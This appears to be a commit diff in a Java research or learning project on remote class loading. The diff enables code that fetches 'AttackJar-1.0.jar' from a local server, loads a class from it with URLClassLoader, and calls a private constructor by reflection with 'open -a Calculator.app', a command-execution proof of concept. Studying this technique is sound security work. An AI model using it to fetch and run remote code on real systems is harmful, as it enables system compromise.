1
1
package org .example ;
2
2
3
- import java .lang .reflect .Constructor ;
4
- import java .net .URL ;
5
- import java .net .URLClassLoader ;
6
-
7
3
/**
8
4
* @author Whoopsunix
9
5
*/
@@ -17,23 +13,24 @@ public static void main(String[] args) throws Exception {
17
13
// Class<?> loadedClass = classLoader.loadClass("org.example.Exec");
18
14
// Object object = loadedClass.newInstance();
19
15
20
- URL url = new URL ("http://127.0.0.1:1234/" );
21
- URLClassLoader classLoader = new URLClassLoader (new URL []{url });
22
- Class <?> loadedClass = classLoader .loadClass ("org.example.Exec" );
23
- Object object = loadedClass .getConstructor (null ).newInstance (null );
16
+ // java.net. URL url = new java.net. URL("http://127.0.0.1:1234/");
17
+ // java.net. URLClassLoader classLoader = new java.net. URLClassLoader(new java.net. URL[]{url});
18
+ // Class<?> loadedClass = classLoader.loadClass("org.example.Exec");
19
+ // Object object = loadedClass.getConstructor(null).newInstance(null);
24
20
25
21
/**
26
22
* 调用构造方法
27
23
*/
28
- // URL url = new URL("http://127.0.0.1:1234/AttackJar-1.0.jar");
29
- // URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
30
- // Class<?> loadedClass = classLoader.loadClass("org.example.ExecArg");
31
- // // public
32
- //// Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
33
- // // private
34
- // Constructor constructor = loadedClass.getDeclaredConstructor(String.class);
35
- // constructor.setAccessible(true);
36
- // Object object = constructor.newInstance("open -a Calculator.app");
24
+ java .net .URL url = new java .net .URL ("http://127.0.0.1:1234/AttackJar-1.0.jar" );
25
+ java .net .URLClassLoader classLoader = new java .net .URLClassLoader (new java .net .URL []{url });
26
+ Class <?> loadedClass = classLoader .loadClass ("org.example.ExecArg" );
27
+ // public
28
+ // Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
29
+ // private
30
+ Class cls = String .class ;
31
+ java .lang .reflect .Constructor constructor = loadedClass .getDeclaredConstructor (cls );
32
+ constructor .setAccessible (true );
33
+ Object object = constructor .newInstance ("open -a Calculator.app" );
37
34
38
35
/**
39
36
* 调用方法
0 commit comments